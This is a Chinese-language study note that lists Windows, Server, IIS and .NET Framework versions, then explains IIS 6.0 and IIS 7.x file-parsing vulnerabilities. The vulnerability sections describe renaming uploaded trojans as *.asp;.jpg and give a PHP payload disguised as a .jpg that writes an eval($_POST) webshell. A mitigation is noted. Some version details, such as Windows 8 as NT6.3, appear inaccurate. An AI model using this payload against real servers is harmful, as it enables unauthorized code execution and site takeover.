Windows各版本以及漏洞
目錄
MS-Dos
版本號 | 釋出時間 |
---|---|
Windows1.0 | 1985.11 |
Windows2.0 | 1987.12 |
Windows2.1 | 1988 |
Windows3.0 | 1990.5 |
Windows3.1 | 1992 |
Windows3.2 | 1994 |
Win 9X
版本號 | 釋出時間 |
---|---|
Windows95 | 1995.8(擁有開始按鈕和選單欄) |
Windows98 | 1998.6(真正意義上的圖形化介面系統) |
Windows98SE | 1999 |
WindowsME | 2000.9 |
Win NT
版本號 | 釋出時間 |
---|---|
WindowsNT3.1 | 1993 |
WindowsNT4.0 | 1996.4 |
Windows 2000 (NT5.0) | 2000 |
Windows XP (NT5.1) | 2001.10 2009.4停止更新 |
Window Vista (NT6.0) | 2005.11 |
Windows 7 (NT6.1) | 2009 |
Windows 8 (NT6.3) | 2012.10 |
Windows 8.1 | 2013.10 |
Windows 10 (NT10.0) | 2015.7 |
Windows Server
版本號 | 釋出時間 | IIS版本 |
---|---|---|
Windows Server 2003 | 2003.3 2015.7停止更新 | IIS6.0 |
Windows Server 2008 | 2008.2 | IIS7.0/IIS7.5 |
Windows Server 2012 | 2012.9 | IIS8.0 |
Windows Server 2016 | 2016.10 | IIS10 |
.NET FrameWork
.NET FrameWork是微軟的新一代技術平臺,為敏捷商務構建互聯互通的應用系統,這些系統是基於標準的,聯通的,適應變化的,穩定的和高效能的。從技術的角度,一個.NET應用是一個運行於.NET Framework之上的應用程式。(更精確的說,一個.NET應用是一個使用.NET Framework類庫來編寫,並運行於公共語言執行時Common Language Runtime之上的應用程式。)如果一個應用程式跟.NET Framework無關,它就不能叫做.NET程式。比如,僅僅使用了XML並不就是.NET應用,僅僅使用SOAP SDK呼叫一個Web Service也不是.NET應用。.NET是基於Windows執行的操作平臺,應用於網際網路的分散式。
.NET平臺類似Java平臺,是微軟於2000年推出的Windows作業系統的應用軟體開發框架,發展至今形成巨大的技術棧,涉及多語言(支援C#、F#、VB.NET)多領域(Windows桌面軟體、Web應用、移動開發等)軟體開發,隨著2014年,微軟宣佈.NET開源,支援Linux等平臺,和Java平臺一樣實現了跨平臺。
版本 | 發行日期 | Visual Studio | Windows預設安裝 |
---|---|---|---|
.Net Framework1.0 | 2002-02-13 | VisualStudio 2002 | Windows XP |
.Net Framework1.1 | 2003-04-24 | Visual Studio 2003 | Windows Server 2003 |
.Net Framework2.0 | 2005-11-07 | Visual Studio 2005 | |
.Net Framework3.0 | 2006-11-06 | | Windows Vista,Windows Server 2008 |
.Net Framework3.5 | 2007-11-19 | Visual Studio 2008 | Windows 7,Windows Server 2008 R2 |
.Net Framework4.0 | 2010-04-12 | Visual Studio 2010 | Windows 7,Windows Server 2008 R2 |
.Net Framework4.5 | 2011-09-20 | Visual Studio 2012 | Windows 8/8.1 |
.Net Framework4.6 | 2015-07-21 | Visual Studio 2015 | Windows 10 |
.Net Framework4.7 | 2017-10-18 | Visual Studio 2017 | Windows 10 |
IIS6.0漏洞
解析漏洞
1、在網站目錄中如果存在名為*.asp、*.asa、*.cer、*.cdx的目錄,那該目錄內的任何檔案都會被IIS解析為asp檔案並執行。
2、在上傳圖片木馬的時候,將檔名改為件檔案都*.asp;.jpg、*.asa;.jpg、*.cer;.jpg ,該檔案被IIS解析為asp檔案並執行。
注:IIS6.0對域字尾是asp、asa、cer的檔案都當成是asp檔案執行,對於cdx字尾的檔案動作是下載
IIS7.0/7.5漏洞
畸形解析漏洞
在IIS7.0、IIS7.5中,在預設Fast-CGI開啟狀況下,新建一個1.txt檔案,內容為<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['xie'])?>')?>,將檔案儲存成1.jpg格式,上傳到伺服器,假設上傳路徑為/upload,上傳成功後,直接訪問/upload/1.jpg,此時神奇的畸形解析開始發揮作用啦,我們會神奇的發現/upload目錄下建立了一個一句話木馬檔案shell.php。
臨時解決辦法:關閉cgi.fix_pathinfo為0